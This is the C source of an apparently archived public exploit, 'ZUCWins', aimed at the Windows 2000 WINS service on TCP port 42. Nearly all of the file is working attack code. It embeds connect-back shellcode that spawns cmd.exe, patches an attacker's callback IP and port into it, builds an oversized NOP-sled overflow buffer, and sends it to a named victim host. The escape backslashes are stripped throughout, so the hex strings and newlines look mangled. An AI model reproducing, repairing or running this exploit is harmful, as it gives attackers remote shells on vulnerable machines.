/*************************************************************/
/* ZUCWins 0.1 - Wins 2000 remote root exploit                                     */
/* Exploit by: zuc <zuc@hack.it>              		                         */ 
/* works on Windows 2000 SP3/SP4 probably every language                  */
/*************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <netinet/in.h>
#include <curses.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

	char shellcode[] =
"xebx25xe9xfax99xd3x77xf6x02x06x6cx59x6cx59xf8"
"x1dx9cxdex8cxd1x4cx70xd4x03x58x46x57x53x32x5f"
"x33x32x2ex44x4cx4cx01xebx05xe8xf9xffxffxffx5d"
"x83xedx2cx6ax30x59x64x8bx01x8bx40x0cx8bx70x1c"
"xadx8bx78x08x8dx5fx3cx8bx1bx01xfbx8bx5bx78x01"
"xfbx8bx4bx1cx01xf9x8bx53x24x01xfax53x51x52x8b"
"x5bx20x01xfbx31xc9x41x31xc0x99x8bx34x8bx01xfe"
"xacx31xc2xd1xe2x84xc0x75xf7x0fxb6x45x09x8dx44"
"x45x08x66x39x10x75xe1x66x31x10x5ax58x5ex56x50"
"x52x2bx4ex10x41x0fxb7x0cx4ax8bx04x88x01xf8x0f"
"xb6x4dx09x89x44x8dxd8xfex4dx09x75xbexfex4dx08"
"x74x17xfex4dx24x8dx5dx1ax53xffxd0x89xc7x6ax02"
"x58x88x45x09x80x45x79x0cxebx82x50x8bx45x04x35"
"x93x93x93x93x89x45x04x66x8bx45x02x66x35x93x93"
"x66x89x45x02x58x89xcex31xdbx53x53x53x53x56x46"
"x56xffxd0x89xc7x55x58x66x89x30x6ax10x55x57xff"
"x55xe0x8dx45x88x50xffx55xe8x55x55xffx55xecx8d"
"x44x05x0cx94x53x68x2ex65x78x65x68x5cx63x6dx64"
"x94x31xd2x8dx45xccx94x57x57x57x53x53xfexcax01"
"xf2x52x94x8dx45x78x50x8dx45x88x50xb1x08x53x53"
"x6ax10xfexcex52x53x53x53x55xffx55xf0x6axffxff"
"x55xe4";

char mess[] =
"x00x03x0dx4cx77x77xFFx77x05x4ex00x3cx01x02x03x04"
//  "x00x03x0dx4cx77x77xFFx77x05x4ex00x3cx01x02x03x04"
	
"x6cxf4x3dx05x00x02x4ex05x00x02x4ex05x00x02x4ex05x00x02
x4ex05x00x02x4ex05x00x02x4ex05x00x02x4ex05x00x02x4ex05";
char rep[] =
	
"x90x01x4ex05x90x00x4ex05x90x00x4ex05x90x00x4ex05x90x00
x4ex05x90x00x4ex05x90x00x4ex05x90x03x4ex05x90x00x4ex05";
void usage();

int main(int argc, char *argv[])
{ 
int i,sock,sock2,sock3,addr,len=16;
int rc;
  unsigned long XORIP = 0x93939393;
  unsigned short XORPORT = 0x9393;
int cbport;
long cbip;

struct sockaddr_in mytcp;
struct hostent * hp;

if(argc<4 || argc>4)
usage();

cbport = htons(atoi(argv[3]));
cbip = inet_addr(argv[2]);
cbport ^= XORPORT;
cbip ^= XORIP;
memcpy(&shellcode[2],&cbport,2);
memcpy(&shellcode[4],&cbip,4);

char mess2[200000];
memset(mess2,0,sizeof(mess2));
char mess3[210000];
memset(mess3,0,sizeof(mess3));
int ir;
for(ir =0;ir<200000;ir++)mess2[ir]='x90';
memcpy(mess3,mess,sizeof(mess)-1);
int r=0;int le=sizeof(mess)-1;
for(r;r<30;r++)
{
	memcpy(mess3+le,rep,sizeof(rep)-1);
	le+=sizeof(rep)-1;
}
memcpy(mess3+le,mess2,200000);
memcpy(mess3+le+198000,shellcode,sizeof(shellcode));
int lenr=le+200000+sizeof(shellcode);
hp = gethostbyname(argv[1]);

addr = inet_addr(argv[1]);

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{ 
//printf("socket() error...n");
exit(-1);
}

mytcp.sin_addr.s_addr = addr;

mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(42);

printf("[*] connecting the targetn");

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct 
sockaddr_in));
printf("[*] sending exploitn");
send(sock,mess3,lenr,0);
printf("[*] exploit sentn");
sleep(5);
shutdown(sock,1);
close(sock);
shutdown(sock,2);
close(sock2);
shutdown(sock,3);
close(sock3);
exit(0);
}

void usage()
{
unsigned int a;
printf("nUsage: <victim-host> <connectback-ip> <connectback port>n");
printf("Sample: ZUC-WINShit www.vulnwins.com 31.33.7.23 31337nn");
exit(0);
}

// www.Syue.com [2004-12-31]